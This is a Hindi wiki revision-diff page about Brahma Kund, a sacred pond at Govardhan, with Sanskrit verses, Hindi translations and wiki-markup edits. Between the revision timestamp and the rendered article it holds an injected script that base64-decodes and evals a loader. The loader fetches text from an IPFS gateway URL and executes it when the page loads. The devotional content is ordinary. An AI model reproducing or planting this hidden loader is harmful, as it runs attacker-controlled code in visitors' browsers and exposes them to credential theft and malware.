"ब्रह्म कुण्ड (गोवर्धन)" के अवतरणों में अंतर
नेविगेशन पर जाएँ
खोज पर जाएँ
छो |
|||
पंक्ति २: | पंक्ति २: | ||
==ब्रह्मकुण्ड / Brhma Kund== | ==ब्रह्मकुण्ड / Brhma Kund== | ||
[[चित्र:Brhma-Kund-1.jpg|ब्रह्म कुण्ड, [[गोवर्धन]]|thumb|250px]] | [[चित्र:Brhma-Kund-1.jpg|ब्रह्म कुण्ड, [[गोवर्धन]]|thumb|250px]] | ||
− | *[[मानसी गंगा]] के दक्षिण तट पर एंव [[हरिदेव जी मंदिर|श्री हरिदेव मन्दिर]] के पास में ब्रह्मकुण्ड | + | *[[मानसी गंगा]] के दक्षिण तट पर एंव [[हरिदेव जी मंदिर|श्री हरिदेव मन्दिर]] के पास में ब्रह्मकुण्ड है। |
− | *मानसी गंगा के आविर्भाव के पश्चात [[ब्रह्मा]]-[[इन्द्र]]-यमादि समस्त देवता यहाँ उपस्थित | + | *मानसी गंगा के आविर्भाव के पश्चात [[ब्रह्मा]]-[[इन्द्र]]-यमादि समस्त देवता यहाँ उपस्थित हुए। भगवान [[कृष्ण|श्री कृष्ण]] की स्तुति वन्दना की। <ref>अत्रयातं ब्रह्मकुण्डं ब्रह्मणा तोषिती हरि। इन्द्रादिलोक पालाना जातानि च सरांसि च ॥</ref> |
− | * इस स्थान पर ब्रह्मकुण्ड की उत्पत्ति हुई | + | * इस स्थान पर ब्रह्मकुण्ड की उत्पत्ति हुई थी। |
− | *यहाँ [[ब्रह्मा]] के द्वारा क्रोधित श्री हरि क्रीड़ा करते रहते | + | *यहाँ [[ब्रह्मा]] के द्वारा क्रोधित श्री हरि क्रीड़ा करते रहते हैं। इसके पास ही इन्द्रादि लोकपालों के सरोवर भी विद्यमान हैं। |
− | *हदं तत्र महाभागे द्रुम गुल्मलतायुतम् । चत्वारि तन्त्र तीर्थानि पुण्यानि च शुभानि च्॥ इन्द्रं पुर्वेणपर्श्वेन यमतीर्थन्तु | + | *हदं तत्र महाभागे द्रुम गुल्मलतायुतम् । चत्वारि तन्त्र तीर्थानि पुण्यानि च शुभानि च्॥ इन्द्रं पुर्वेणपर्श्वेन यमतीर्थन्तु दक्षिणे। वारुणं पश्चिमेतीर्थ कुवेरं चोत्तरेणतु ॥ तत्र मध्ये स्थितश्चाहं क्रीड़सिण्ये यद्रच्छया ॥ <ref>-- हे महाभागे! वही गोवर्धन पर वृक्ष-लता-गुल्म के द्वारा शोभित ब्रह्मकुण्ड नामक एक सरोवर विद्यमान हैं। इसी सरोवर तट पर पुण्यप्रद व मंगलमय चार तीर्थ विराजमान हैं। सरोवर के पूर्व दिशा में इन्द्र तीर्थ, दक्षिण में यमतीर्थ, पश्चिम में वरुण तीर्थ एंव उत्तर में कुबेर तीर्थ विद्यमान हैं। मैं भी उसी सरोवर में रहते हुए इच्छानुरुप क्रीड़ा करता हूँ। "नम: कैवल्यनाथाय देवानां मुक्तिकारक!" -</ref>इस मन्त्र का दस बार जप करके इन कुण्डों में स्नान, आचमन तथा नमस्कार करना चाहिये। श्री कृष्ण [[चैतन्य महाप्रभु]] ने [[गोवर्धन]] आकर ब्रह्मकुण्ड स्नान करते हुए श्री हरिदेव जी के दर्शन किये थे। |
<br /> | <br /> | ||
{{गोवर्धन-दर्शनीय-स्थल}}<br /> | {{गोवर्धन-दर्शनीय-स्थल}}<br /> | ||
{{कुण्ड}} | {{कुण्ड}} | ||
+ | ==टीका टिप्पणी== | ||
+ | <references/> | ||
+ | |||
[[category:धार्मिक स्थल]] [[श्रेणी:कोश]] | [[category:धार्मिक स्थल]] [[श्रेणी:कोश]] | ||
[[श्रेणी:दर्शनीय-स्थल कोश]] | [[श्रेणी:दर्शनीय-स्थल कोश]] | ||
− | |||
− | |||
− | |||
__INDEX__ | __INDEX__ |
१०:५९, ११ दिसम्बर २००९ का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
ब्रह्मकुण्ड / Brhma Kund
- मानसी गंगा के दक्षिण तट पर एंव श्री हरिदेव मन्दिर के पास में ब्रह्मकुण्ड है।
- मानसी गंगा के आविर्भाव के पश्चात ब्रह्मा-इन्द्र-यमादि समस्त देवता यहाँ उपस्थित हुए। भगवान श्री कृष्ण की स्तुति वन्दना की। [१]
- इस स्थान पर ब्रह्मकुण्ड की उत्पत्ति हुई थी।
- यहाँ ब्रह्मा के द्वारा क्रोधित श्री हरि क्रीड़ा करते रहते हैं। इसके पास ही इन्द्रादि लोकपालों के सरोवर भी विद्यमान हैं।
- हदं तत्र महाभागे द्रुम गुल्मलतायुतम् । चत्वारि तन्त्र तीर्थानि पुण्यानि च शुभानि च्॥ इन्द्रं पुर्वेणपर्श्वेन यमतीर्थन्तु दक्षिणे। वारुणं पश्चिमेतीर्थ कुवेरं चोत्तरेणतु ॥ तत्र मध्ये स्थितश्चाहं क्रीड़सिण्ये यद्रच्छया ॥ [२]इस मन्त्र का दस बार जप करके इन कुण्डों में स्नान, आचमन तथा नमस्कार करना चाहिये। श्री कृष्ण चैतन्य महाप्रभु ने गोवर्धन आकर ब्रह्मकुण्ड स्नान करते हुए श्री हरिदेव जी के दर्शन किये थे।
साँचा:गोवर्धन-दर्शनीय-स्थल
साँचा:कुण्ड
टीका टिप्पणी
- ↑ अत्रयातं ब्रह्मकुण्डं ब्रह्मणा तोषिती हरि। इन्द्रादिलोक पालाना जातानि च सरांसि च ॥
- ↑ -- हे महाभागे! वही गोवर्धन पर वृक्ष-लता-गुल्म के द्वारा शोभित ब्रह्मकुण्ड नामक एक सरोवर विद्यमान हैं। इसी सरोवर तट पर पुण्यप्रद व मंगलमय चार तीर्थ विराजमान हैं। सरोवर के पूर्व दिशा में इन्द्र तीर्थ, दक्षिण में यमतीर्थ, पश्चिम में वरुण तीर्थ एंव उत्तर में कुबेर तीर्थ विद्यमान हैं। मैं भी उसी सरोवर में रहते हुए इच्छानुरुप क्रीड़ा करता हूँ। "नम: कैवल्यनाथाय देवानां मुक्तिकारक!" -